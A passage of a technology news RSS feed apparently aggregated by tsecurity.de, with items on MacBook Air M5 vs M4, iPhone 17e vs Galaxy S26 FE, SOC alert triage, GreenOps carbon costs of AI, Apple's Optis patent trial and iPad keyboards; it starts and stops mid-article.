FeatureMacBook Air M5MacBook Air M4ChipApple M5 with 10-core CPU and 10-core GPU with Neural AcceleratorsApple M4 with 10-core CPU and up to 10-core GPUAI PerformanceMuch faster with Neural Accelerators in each GPU coreGood but slower in AI tasksCPU SpeedAround 10 to 15 percent faster overallBaseline performance levelGPUBetter GPU performance and higher throughputLower GPU powerMemory Bandwidth153GB per second120GB per secondStorageStarts at 512GB, up to 4TB with faster SSDStarts at 256GB, up to 2TBWirelessWi-Fi 7 and Bluetooth 6Older Wi-Fi and Bluetooth standardsAI WorkflowExcellentGoodPrice (base)Higher starting priceLower and often discounted



Who Should Upgrade



For most everyday users, the M4 model remains perfectly capable for emails, streaming, office work and light creative tasks. It delivers good performance at a lower effective cost, especially when discounted.



Upgrade value becomes clear for people who:




Run AI-heavy software regularly



Use creative apps like video editors, 3D rendering tools or manage large photo libraries



Need faster storage and more space for large files



Want the longest relevant lifespan from a laptop




The M5 model shows stronger gains in AI and graphics performance. These mostly show up when tasks push the hardware, rather than in light daily use. Users who rely on local AI tools or workflows that can use multiple accelerators will feel the difference more clearly.



Final Verdict



The M5-powered MacBook Air is a significant step forward in Apple’s laptop line. It enhances performance, boosts AI processing, and improves storage and connectivity. If you use advanced creative or AI tasks, it is a clear upgrade over M4. If your use stays in everyday productivity or basic creative work, the M4 Air still delivers excellent performance for less money.



Ultimately, upgrading for AI performance alone makes sense only if your workflows benefit from faster neural computations, creative tools or heavy multitasking. Otherwise, the M4 model continues to provide strong value for its price and remains a capable everyday laptop.]]></content:encoded>
</item>
<item>
<title><![CDATA[How a Broadly Defined Counterterrorism Statute Could Be Abused]]></title>
<description><![CDATA[18 U.S.C. § 2339A doesn’t require proof of group membership or terrorist intent, and the policy framework around it outweighs any single verdict.
The post How a Broadly Defined Counterterrorism Statute Could Be Abused appeared first on Just Security.]]></description>
<link>https://tsecurity.de/de/3322831/it-security-nachrichten/how-a-broadly-defined-counterterrorism-statute-could-be-abused/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3322831/it-security-nachrichten/how-a-broadly-defined-counterterrorism-statute-could-be-abused/</guid>
<pubDate>Tue, 03 Mar 2026 15:21:27 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>18 U.S.C. § 2339A doesn’t require proof of group membership or terrorist intent, and the policy framework around it outweighs any single verdict.</p>
<p>The post <a href="https://www.justsecurity.org/132743/how-a-broadly-defined-counterterrorism-statute-could-be-abused/">How a Broadly Defined Counterterrorism Statute Could Be Abused</a> appeared first on <a href="https://www.justsecurity.org/">Just Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone 17e vs Galaxy S26 FE: Best $599 Flagship in 2026?]]></title>
<description><![CDATA[If you plan to spend $599 on a new phone this year, you will likely compare the newly announced iPhone 17e and the Samsung Galaxy S26 FE. Both target buyers who want flagship-level performance without paying four-figure prices. At the same starting price in the US, this comparison comes down to p...]]></description>
<link>https://tsecurity.de/de/3321861/ios-mac-os/iphone-17e-vs-galaxy-s26-fe-best-599-flagship-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3321861/ios-mac-os/iphone-17e-vs-galaxy-s26-fe-best-599-flagship-in-2026/</guid>
<pubDate>Tue, 03 Mar 2026 09:07:59 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you plan to spend $599 on a new phone this year, you will likely compare the newly announced iPhone 17e and the Samsung Galaxy S26 FE. Both target buyers who want flagship-level performance without paying four-figure prices. At the same starting price in the US, this comparison comes down to performance, camera quality, battery life, and long-term value.



Apple positions the iPhone 17e as the most affordable model in the iPhone 17 lineup, yet it includes the latest A19 chip, a new C1X modem, a 48MP Fusion camera, MagSafe support, and 256GB of base storage. On the other side, Samsung’s Galaxy S26 FE continues the Fan Edition approach with a large AMOLED display, high refresh rate, multi-camera setup, and Galaxy AI features built on Android.



Design and display



Apple sticks with a 6.1-inch Super Retina XDR OLED panel, while Samsung offers a larger AMOLED screen. Your choice depends on whether you prefer compact handling or a bigger canvas for media and gaming.



FeatureiPhone 17eGalaxy S26 FEDisplay Size6.1-inch OLED6.4 to 6.6-inch AMOLEDBrightnessUp to 1200 nits HDRHigh peak brightness, similar flagship classRefresh Rate60Hz120Hz adaptiveProtectionCeramic Shield 2Gorilla Glass protectionBuildAluminum, IP68Aluminum frame, IP68



The iPhone 17e adds Ceramic Shield 2 with improved scratch resistance and reduced glare. Samsung counters with a smoother 120Hz refresh rate, which you will notice while scrolling or gaming. If fluid motion matters to you, the Galaxy S26 FE has an edge. If durability and compact size matter more, the iPhone 17e stands out.



Performance and hardware



Apple equips the iPhone 17e with the A19 chip built on advanced 3nm technology. It uses a 6-core CPU, 4-core GPU with hardware-accelerated ray tracing, and a 16-core Neural Engine optimized for on-device AI. Apple claims up to 2x faster performance than older models like iPhone 11. The new C1X modem is up to 2x faster than the C1 in the iPhone 16e and uses less power.



Samsung typically uses either the latest Exynos or Snapdragon chip in the FE line, depending on region. The Galaxy S26 FE focuses on balanced performance, AI processing, and thermal management for gaming and multitasking.



FeatureiPhone 17eGalaxy S26 FEChipsetA19 (3nm)Latest Snapdragon or ExynosAI Engine16-core Neural EngineGalaxy AI engineModemApple C1XQualcomm or Samsung modemStorage256GB base128GB or 256GB baseRAMOptimized iOS memoryTypically higher RAM count



Apple doubles the base storage to 256GB at $599, which gives you more space for 4K video and apps without paying extra. Samsung may offer lower base storage in some markets, though it often provides higher RAM for multitasking.



Camera comparison



Camera quality often decides this $599 flagship fight. The iPhone 17e uses a 48MP Fusion camera that supports a 2x optical-quality Telephoto through sensor cropping. It captures 24MP default images for balanced detail and file size, and it records 4K Dolby Vision video up to 60fps. It also supports Spatial Audio and Audio Mix features.



The Galaxy S26 FE usually offers a triple-camera system that includes a main sensor, ultra-wide, and dedicated telephoto lens.



FeatureiPhone 17eGalaxy S26 FEMain Camera48MP Fusion50MP class sensorTelephoto2x optical-quality via sensorDedicated telephoto lensUltra-wideNo dedicated ultra-wideYesVideo4K Dolby Vision 60fps4K video with HDRPortraitsAdvanced depth processingMulti-lens portrait support



If you shoot a lot of ultra-wide photos, Samsung gives you more flexibility. If you care about consistent color science, Dolby Vision video, and strong portrait processing, the iPhone 17e delivers a refined experience.



Battery life and charging



Apple focuses on efficiency. The A19 chip and C1X modem improve power management, and the iPhone 17e supports fast wired charging up to 50 percent in around 30 minutes. It also supports MagSafe and Qi2 wireless charging up to 15W.



Samsung usually includes a larger battery in the FE model and supports fast wired charging and wireless charging. In daily use, both phones last a full day for most users.



If you already use MagSafe accessories, the iPhone 17e fits into that ecosystem easily. Samsung users benefit from reverse wireless charging and broader compatibility with Qi accessories.



Software and ecosystem



The iPhone 17e runs iOS 26 with Apple Intelligence features such as Live Translation, Call Screening, and visual intelligence across the system. Apple also supports satellite features including Emergency SOS and Messages via satellite in supported regions.



The Galaxy S26 FE runs the latest version of Android with One UI and Galaxy AI features. Samsung focuses on AI editing tools, live translation, and deep integration with Galaxy devices like tablets, watches, and earbuds.



Software updates also matter. Apple traditionally provides long-term iOS updates, while Samsung has improved its update policy with multiple years of Android and security updates.



Pricing and value



Both phones start at $599 in the US, but storage and offers differ.



AspectiPhone 17eGalaxy S26 FEStarting Price$599Around $599Base Storage256GB128GB or 256GBTrade-in OffersUp to $599 with carriersCarrier and Samsung offersColor OptionsBlack, White, Soft PinkMultiple FE colors



Apple’s decision to start at 256GB gives the iPhone 17e strong value on paper. Samsung counters with a high refresh display and versatile camera system.



Final verdict



If you want a compact phone with strong performance, long-term software support, satellite safety features, and 256GB storage at $599, the iPhone 17e makes a strong case. If you prefer a larger 120Hz display, a dedicated telephoto and ultra-wide camera setup, and deep Android customization, the Galaxy S26 FE fits better.



Your choice depends on ecosystem, display preference, and camera priorities. At $599, both deliver near-flagship features without crossing into premium price territory.]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 5 Ways Broken Triage Increases Business Risk Instead of Reducing It]]></title>
<description><![CDATA[Triage is supposed to make things simpler. In a lot of teams, it does the opposite.
When you can’t reach a confident verdict early, alerts turn into repeat checks, back-and-forth, and “just escalate it” calls. That cost doesn’t stay inside the SOC; it shows up as missed SLAs, higher cost per case...]]></description>
<link>https://tsecurity.de/de/3310151/it-security-nachrichten/top-5-ways-broken-triage-increases-business-risk-instead-of-reducing-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3310151/it-security-nachrichten/top-5-ways-broken-triage-increases-business-risk-instead-of-reducing-it/</guid>
<pubDate>Wed, 25 Feb 2026 16:35:30 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Triage is supposed to make things simpler. In a lot of teams, it does the opposite.
When you can’t reach a confident verdict early, alerts turn into repeat checks, back-and-forth, and “just escalate it” calls. That cost doesn’t stay inside the SOC; it shows up as missed SLAs, higher cost per case, and more room for real threats to slip through.
So where does triage go wrong? Here are five triage]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 5 Ways Broken Triage Increases Business Risk Instead of Reducing It]]></title>
<description><![CDATA[Triage is supposed to make things simpler. In a lot of teams, it does the opposite. When you can’t reach a confident verdict early, alerts turn into repeat checks, back-and-forth, and “just escalate it” calls. That cost doesn’t stay inside…
Read more →
The post Top 5 Ways Broken Triage Increases ...]]></description>
<link>https://tsecurity.de/de/3310142/it-security-nachrichten/top-5-ways-broken-triage-increases-business-risk-instead-of-reducing-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3310142/it-security-nachrichten/top-5-ways-broken-triage-increases-business-risk-instead-of-reducing-it/</guid>
<pubDate>Wed, 25 Feb 2026 16:35:18 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Triage is supposed to make things simpler. In a lot of teams, it does the opposite. When you can’t reach a confident verdict early, alerts turn into repeat checks, back-and-forth, and “just escalate it” calls. That cost doesn’t stay inside…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/top-5-ways-broken-triage-increases-business-risk-instead-of-reducing-it/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/top-5-ways-broken-triage-increases-business-risk-instead-of-reducing-it/">Top 5 Ways Broken Triage Increases Business Risk Instead of Reducing It</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How SOC Analysts Can Save 28 Minutes Per Alert Review ]]></title>
<description><![CDATA[How much time do you spend reviewing alerts that turn out to be harmless?  In many teams, a single alert takes around 30 minutes to investigate. Not because it’s complex, but because you have to pull context from multiple tools before reaching a confident verdict: reputation checks, enrichment, d...]]></description>
<link>https://tsecurity.de/de/3310017/it-security-nachrichten/how-soc-analysts-can-save-28-minutes-per-alert-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3310017/it-security-nachrichten/how-soc-analysts-can-save-28-minutes-per-alert-review/</guid>
<pubDate>Wed, 25 Feb 2026 15:50:23 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>How much time do you spend reviewing alerts that turn out to be harmless?  In many teams, a single alert takes around 30 minutes to investigate. Not because it’s complex, but because you have to pull context from multiple tools before reaching a confident verdict: reputation checks, enrichment, detonation requests, log pivots.  At scale, that […]</p>
<p>The post <a href="https://cybersecuritynews.com/how-soc-analysts-can-save-28-minutes-per-alert-review/">How SOC Analysts Can Save 28 Minutes Per Alert Review </a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The carbon cost of an API call]]></title>
<description><![CDATA[Imagine opening your monthly cloud invoice and seeing a 200% spike in a single line item. This is the new reality for AI-native companies. What was once a predictable compute budget has been upended by the massive computational hunger of large language models (LLMs).



The financial cost of runn...]]></description>
<link>https://tsecurity.de/de/3290789/it-security-nachrichten/the-carbon-cost-of-an-api-call/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3290789/it-security-nachrichten/the-carbon-cost-of-an-api-call/</guid>
<pubDate>Mon, 16 Feb 2026 12:05:42 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Imagine opening your monthly cloud invoice and seeing a 200% spike in a single line item. This is the new reality for AI-native companies. What was once a predictable compute budget has been upended by the massive computational hunger of large language models (LLMs).</p>



<p>The financial cost of running LLMs is astonishing. In response, the industry has rushed toward FinOps for AI, the practice of meticulously tracking and optimizing every dollar spent on computation. FinOps is necessary, responsible and a sign of a maturing industry.</p>



<p>But tracking dollars is solving yesterday’s problem.</p>



<p>The next frontier of competitive advantage lies in a metric that barely registers on most dashboards today: the energy consumption of your AI models. A fundamental shift is underway from FinOps (economic cost) to GreenOps (energy cost). Instead of asking, “How much does this model cost to run?” the critical question is becoming, “What is the carbon intensity of this API call?”</p>



<p>This isn’t a philanthropic sidebar; it is the next battleground for regulatory compliance and brand value. Here is why the shift to GreenOps is inevitable, as well as how savvy IT leaders can get ahead of the curve.</p>



<h2 class="wp-block-heading">The 3 forces making GreenOps mandatory</h2>



<p>For years, the energy footprint of AI was an academic footnote. Now, three powerful forces are turning it into a commercial imperative:</p>



<h3 class="wp-block-heading">1. The regulatory vise is tightening</h3>



<p>Regulators are turning carbon disclosure into a legal obligation. The EU’s <a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32022L2464" rel="nofollow">Corporate Sustainability Reporting Directive (CSRD)</a> requires large companies to publish audited greenhouse-gas data starting with FY2024 reports. Crucially, this scope expands to SMEs and non-EU multinationals by 2028.</p>



<p>In the United States, California’s <a href="https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=202320240SB253" rel="nofollow">Climate Corporate Data Accountability Act (SB 253)</a> mandates that corporations with over $1 billion in revenue disclose Scope 1, 2 and 3 emissions. Electricity feeding a Google Cloud us-east1 cluster is Scope 2; re-billed SaaS workloads are Scope 3. Either way, they hit the ledger. Companies that fail to report AI-related emissions will face fines and exclusion from enterprise supply chains.</p>



<h3 class="wp-block-heading">2. The demand for ‘ethical gigawatts’</h3>



<p>Procurement teams are beginning to screen vendors based on energy efficiency. Major European players already utilize ESG ratings from EcoVadis to evaluate suppliers.</p>



<p>Investors are following suit. Under the EU’s <a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32019R2088" rel="nofollow">Sustainable Finance Disclosure Regulation (SFDR)</a>, Article-8 and Article-9 venture funds now request emission baselines before deploying capital. Just as security questionnaires became table stakes a decade ago, carbon emission dashboards are becoming standard in enterprise RFPs. For an AI startup, demonstrating a low-carbon inference stack is no longer a nice-to-have, it is a competitive moat.</p>



<h3 class="wp-block-heading">3. Performance-per-watt as a metric</h3>



<p> We are entering an era where efficient engineering trumps brute force. An equally accurate model that consumes half the energy is objectively better engineering. Investors and CTOs will soon assess watts-per-inference with the same scrutiny they once applied to daily active users. This efficiency translates directly into higher profit margins and brand prestige.</p>



<h2 class="wp-block-heading">Decoding the carbon cost of an API call</h2>



<p>Measuring the carbon footprint of a single API call sounds abstract, but GreenOps turns it into a concrete key performance indicator (KPI) based on three variables:</p>



<ol class="wp-block-list">
<li><strong>Model architecture:</strong> Is it a dense, 100-billion-parameter behemoth or a lean mixture-of-experts (MoE) model that only activates specific neurons?</li>



<li><strong>Hardware selection:</strong> Is the inference running on a power-hungry legacy GPU or a specialized AI accelerator chip designed for low-wattage throughput?</li>



<li><strong>Carbon intensity:</strong> This is the most overlooked variable. A data center in Sweden (<a href="https://www.datacenters.com/news/are-we-overlooking-the-nordics-europe-s-silent-data-center-powerhouse" rel="nofollow">powered by 98% hydro</a>) might have a carbon intensity of 16g CO₂eq/kWh. The same GPU running in a coal-heavy region of the <a href="https://app.electricitymaps.com/map/3mo/daily" rel="nofollow">US could exceed 800g CO₂eq/kWh</a>, a 50x difference in carbon impact for the exact same compute task.</li>
</ol>



<p>A company practicing GreenOps doesn’t just know its cloud bill. It knows that routing job A to a hydro-powered region reduces the carbon cost by 90% without impacting latency.</p>



<h2 class="wp-block-heading">A practical example: Stopping the zombie retraining cycles</h2>



<p>The biggest source of waste in MLOps isn’t always the model itself — it’s the process we use to update it. In standard industry practice, companies often retrain models on a fixed schedule (e.g., weekly) regardless of whether the new data actually improves performance.</p>



<p>In my recent research on sustainable MLOps, I developed a new metric called the retraining-efficiency score (RES). Instead of blindly retraining models, RES acts as a green guardrail. It calculates the real-time trade-off between the expected accuracy gain and the carbon cost of training. If the efficiency score doesn’t meet a specific threshold, the retraining job is killed before it burns energy.</p>



<p>Across 2,320 controlled experiments on large-scale datasets (including energy grids and retail sales), this approach reduced annual carbon emissions by 47% compared to the industry standard always-promote baseline. Crucially, it achieved this massive carbon reduction while maintaining the same forecast accuracy. This is the essence of GreenOps: using intelligence to eliminate waste, not performance.</p>



<h2 class="wp-block-heading">The entrepreneurial opportunity: The GreenOps stack</h2>



<p>This shift presents one of the most significant opportunities in the AI ecosystem. Just as MLOps gave us deployment tools and FinOps gave us cost controls, the GreenOps stack is waiting to be built.</p>



<ul class="wp-block-list">
<li><strong>Observability:</strong> We need a Grafana for energy — dashboards that visualize carbon impact alongside latency and accuracy.</li>



<li><strong>Efficiency-as-a-service:</strong> There is a market for consultancies that specialize in model quantization, pruning and distillation to reduce energy overhead.</li>



<li><strong>Energy Star for AI:</strong> We need a trusted certification body to validate model efficiency. A likely scenario is a joint scheme where technical standards (drafted by <a href="https://www.iso.org/committee/6794475/x/catalogue/p/0/u/1/w/0/d/0" rel="nofollow">ISO/IEC JTC 1/SC 42</a>) are audited by nonprofits like the Green Software Foundation.</li>
</ul>



<p>Hugging Face has already set the precedent by adding estimated emissions to model cards, fueled by the CodeCarbon library. The market appetite for these numbers is real.</p>



<h2 class="wp-block-heading">The verdict</h2>



<p>The past decade proved AI can work. The next decade must prove it can work sustainably. The founders and architects who grasp this shift will not only build more responsible companies; they will build the most valuable ones. The time to start measuring your carbon cost is now, before your customers or your regulators do it for you.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple prevails in third trial of long-running 4G patent dispute with Optis Wireless]]></title>
<description><![CDATA[Apple won a defense verdict on Thursday in a lawsuit by intellectual-property management company Optis Wireless, which had accused…
The post Apple prevails in third trial of long-running 4G patent dispute with Optis Wireless appeared first on MacDailyNews.]]></description>
<link>https://tsecurity.de/de/3286926/ios-mac-os/apple-prevails-in-third-trial-of-long-running-4g-patent-dispute-with-optis-wireless/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3286926/ios-mac-os/apple-prevails-in-third-trial-of-long-running-4g-patent-dispute-with-optis-wireless/</guid>
<pubDate>Fri, 13 Feb 2026 18:06:27 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Apple won a defense verdict on Thursday in a lawsuit by intellectual-property management company Optis Wireless, which had accused…</p>
<p>The post <a href="https://macdailynews.com/2026/02/13/apple-prevails-in-third-trial-of-long-running-4g-patent-dispute-with-optis-wireless/">Apple prevails in third trial of long-running 4G patent dispute with Optis Wireless</a> appeared first on <a href="https://macdailynews.com/">MacDailyNews</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Wins Third Trial in Long Running Optis LTE Case, Avoids Millions in Damages]]></title>
<description><![CDATA[Apple has won a major patent lawsuit in Texas after a jury ruled that it did not infringe any patents owned by Optis Wireless. The case centered on five LTE patents that Optis claimed Apple violated through its iPhones and other devices. With this verdict, Apple avoids paying what could have been...]]></description>
<link>https://tsecurity.de/de/3286233/ios-mac-os/apple-wins-third-trial-in-long-running-optis-lte-case-avoids-millions-in-damages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3286233/ios-mac-os/apple-wins-third-trial-in-long-running-optis-lte-case-avoids-millions-in-damages/</guid>
<pubDate>Fri, 13 Feb 2026 12:52:51 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has won a major patent lawsuit in Texas after a jury ruled that it did not infringe any patents owned by Optis Wireless. The case centered on five LTE patents that Optis claimed Apple violated through its iPhones and other devices. With this verdict, Apple avoids paying what could have been hundreds of millions of dollars in damages.



The dispute began in 2019, when Texas-based Optis Wireless sued Apple over technology related to the 4G LTE wireless standard. Optis argued that Apple used its patented technology without proper licensing. Apple denied the claims and maintained that the patents were either not infringed or invalid.



According to Reuters, the jury in Marshall, Texas, found that Apple did not infringe any of the five patents in question. This marks a significant shift in a long-running legal battle that has already seen multiple jury trials and appeals.



Earlier Verdicts Overturned on Appeal



Optis initially secured a $506 million jury award against Apple in 2020. However, the damages were later thrown out after Apple appealed. The court ruled that the jury did not properly calculate damages under fair and reasonable essential patent terms, also known as FRAND.



A second trial in 2021 led to a $300 million award for Optis. Apple appealed again. The U.S. Court of Appeals for the Federal Circuit vacated that verdict, stating that the district court gave incorrect instructions to the jury. Specifically, the verdict form combined all patents into a single infringement question, which the appeals court found improper.



As a result, the case returned for a third jury trial, which ended with the latest ruling in Apple’s favor.



In a statement to Reuters, an Apple spokesperson said:




"We thank the jury for their time, and we’re pleased they rejected Optis’ false claims. Optis makes no products, and its sole business is to sue companies, which it has done repeatedly to Apple in an attempt to obtain an excessive payout."




Optis did not immediately respond to requests for comment.



Legal Fight Continues in the UK



Although Apple has secured this U.S. victory, the dispute is not over globally. A UK court previously ordered Apple to pay $502 million for infringing Optis’ UK wireless patents. Apple has appealed that decision, and the UK Supreme Court is scheduled to hear the case in June 2026.



For now, Apple owes Optis nothing in the United States. However, with a likely appeal from Optis and ongoing proceedings in the UK, the legal battle remains active.]]></content:encoded>
</item>
<item>
<title><![CDATA[Third Optis jury trial results in a victory for Apple in the US]]></title>
<description><![CDATA[The patent troll Optis has been told by a US jury that Apple has not infringed on any of its LTE patents, ending the elongated dispute in the US until yet another appeal is made.Optis hoped to collect money for every iPhone soldThe latest jury trial occurred after the US Court of Appeals threw ou...]]></description>
<link>https://tsecurity.de/de/3285289/ios-mac-os/third-optis-jury-trial-results-in-a-victory-for-apple-in-the-us/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3285289/ios-mac-os/third-optis-jury-trial-results-in-a-victory-for-apple-in-the-us/</guid>
<pubDate>Fri, 13 Feb 2026 02:07:14 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The patent troll Optis has been told by a US jury that Apple has not infringed on any of its LTE patents, ending the elongated dispute in the US until yet another appeal is made.<br><br><div><img src="https://photos5.appleinsider.com/gallery/66701-139841-iPhone-17-Pro-cameras-xl.jpg" alt="An iPhone 17 Pro in orange held against a green out of focus background"><br><span>Optis hoped to collect money for every iPhone sold</span></div><br>The latest jury trial occurred after the US Court of Appeals <a href="https://appleinsider.com/articles/25/06/17/apple-again-escapes-300m-optis-wireless-patents-verdict-on-appeal">threw out</a> a verdict that would have had Apple paying Optis $300 million in damages. The case was then sent to a trial by jury where the jury members would be asked a single question about the five patents.<br><br>According to <a href="https://www.reuters.com/legal/litigation/apple-fends-off-4g-wireless-patent-lawsuit-third-trial-2026-02-12/">a report</a> from <em>Reuters</em>, the jury voted unanimously. The question was: "Did Optis prove by a preponderance of the evidence that Apple infringed at least one claim from each of the following patents?"<br><br><br> <a href="https://appleinsider.com/articles/26/02/13/third-optis-jury-trial-results-in-a-victory-for-apple-in-the-us?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/243366?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sony WF-1000XM6 vs. Apple AirPods Pro 3: I listened to both earbuds, and this pair wins]]></title>
<description><![CDATA[The battle of ecosystems is at the center, but these factors matter, too. Here's my verdict.]]></description>
<link>https://tsecurity.de/de/3284492/hacking/sony-wf-1000xm6-vs-apple-airpods-pro-3-i-listened-to-both-earbuds-and-this-pair-wins/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3284492/hacking/sony-wf-1000xm6-vs-apple-airpods-pro-3-i-listened-to-both-earbuds-and-this-pair-wins/</guid>
<pubDate>Thu, 12 Feb 2026 17:06:12 +0100</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The battle of ecosystems is at the center, but these factors matter, too. Here's my verdict.]]></content:encoded>
</item>
<item>
<title><![CDATA[GOOJODOQ vs. Apple Magic Keyboard for iPad Air: The Ultimate Comparison]]></title>
<description><![CDATA[If you have picked up an iPad Air (4th, 5th, or the new M2 model), perhaps after consulting an iPad buying guide to find the perfect tablet, you are likely looking to turn it into a laptop replacement. The Apple Magic Keyboard is the gold standard, but at $299, it is incredibly expensive. Enter G...]]></description>
<link>https://tsecurity.de/de/3279722/ios-mac-os/goojodoq-vs-apple-magic-keyboard-for-ipad-air-the-ultimate-comparison/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3279722/ios-mac-os/goojodoq-vs-apple-magic-keyboard-for-ipad-air-the-ultimate-comparison/</guid>
<pubDate>Tue, 10 Feb 2026 16:53:25 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you have picked up an iPad Air (4th, 5th, or the new M2 model), perhaps after consulting an iPad buying guide to find the perfect tablet, you are likely looking to turn it into a laptop replacement. The Apple Magic Keyboard is the gold standard, but at $299, it is incredibly expensive. Enter GOOJODOQ, the popular third-party alternative that promises a similar experience for a fraction of the cost.



Is the Apple Magic Keyboard really worth 4x the price? Or is the GOOJODOQ the "flagship killer" your wallet needs? Here is a detailed, head-to-head comparison to help you decide.



Table of contentsApple vs GOOJODOQ Magic Keyboards: Which one is Better?1. Design and Build Quality2. The Typing Experience3. Trackpad Performance4. Connectivity: The "Smart" Difference5. Charging PortsSummary Comparison TablePros and Cons at a GlanceFinal Verdict



Apple vs GOOJODOQ Magic Keyboards: Which one is Better?



1. Design and Build Quality



Apple Magic Keyboard:



Apple’s design is iconic for a reason. It uses a "floating cantilever" design that magnetically elevates the iPad, allowing you to adjust the viewing angle smoothly.








Material: It is covered in a soft-touch silicone material. It feels premium initially but is notorious for attracting skin oils and wearing down (peeling) at the edges after a year of heavy use.



Hinge: The hinge is incredibly sturdy. It holds the iPad firmly in place with zero wobble.



Portability: It is heavy (roughly the same weight as the iPad itself), effectively doubling the weight of your setup.




GOOJODOQ Magic Keyboard:



GOOJODOQ clones the floating design almost perfectly. From a distance, they look identical.








Material: It often uses a slightly harder, more plastic-feeling PU leather. While it feels less "luxurious" than Apple’s, it is actually more durable and easier to wipe clean.



Hinge: The magnets are strong, but the hinge is often stiffer. You might need two hands to open it, whereas Apple’s is smoother.



Bulk: The GOOJODOQ is generally thicker and heavier than Apple’s. If keeping your bag light is a priority, you will notice the difference.




2. The Typing Experience



Apple Magic Keyboard:




Switches: Uses Apple’s scissor mechanism with 1mm of travel. It is crisp, stable, and quiet.



Backlight: Features automatic white backlighting that adjusts to ambient light. It is subtle and professional.



Layout: On the 11-inch/Air model, the keys are slightly condensed near the edges. While newer reports suggest the Magic Keyboard for iPad Air gets a bigger trackpad and function row in its latest iteration, the standard model compatible with most Airs still lacks a function row, meaning you have to reach for the Control Center to change brightness or volume.








GOOJODOQ Magic Keyboard:




Switches: Surprisingly good. The keys are tactile and clicky, though they can sound a bit more "hollow" or plastic compared to the dampened thud of the Apple keyboard.



Backlight: This is where GOOJODOQ wins on fun. It features RGB backlighting with multiple color options and breathing effects.



Function Row: Most GOOJODOQ models include a dedicated row of function keys at the top. You can adjust volume, brightness, media playback, and lock the screen with a single press. This is a massive productivity win over the standard Apple Magic Keyboard.








3. Trackpad Performance



This is usually the dealbreaker for power users.



Apple Magic Keyboard:



Apple uses a glass trackpad that supports full multi-touch gestures natively.




Precision: Pixel-perfect. You can move the cursor one pixel at a time easily.



Gestures: Scrolling, three-finger swipes, and pinch-to-zoom feel exactly like a MacBook. The momentum is fluid.



Click: It is a physical click mechanism that works uniformly across the entire surface (mostly).




GOOJODOQ Magic Keyboard:




Precision: It uses a plastic trackpad. While it supports iPadOS gestures, it lacks the fluidity of Apple’s glass. You might notice a slight "stutter" when scrolling slowly.



Palm Rejection: Good, but not perfect. You might occasionally move the cursor with your palm while typing.



Click: The click can feel a bit stiff or "mechanical." It works fine for casual use, but if you edit video or design work, you will miss Apple’s precision.




4. Connectivity: The "Smart" Difference



Apple Magic Keyboard (Smart Connector):




Zero Latency: It connects physically via the three metal pins on the back of the iPad.



Instant On: There is no on/off switch. You simply connect the Magic Keyboard to the iPad via the magnets, and you can type immediately.



No Charging: It draws power directly from the iPad. You never have to charge the keyboard.




GOOJODOQ (Bluetooth):




Bluetooth Lag: It connects via Bluetooth. When you stop typing for a few minutes, the keyboard goes to "sleep" to save battery. When you press a key to wake it up, there is often a 1-3 second delay before it reconnects.



Separate Battery: You must charge the keyboard separately via a USB-C port. The battery life is long (weeks or months), but it is still another cable to worry about.



Setup: You have to pair it manually in Settings the first time.




5. Charging Ports




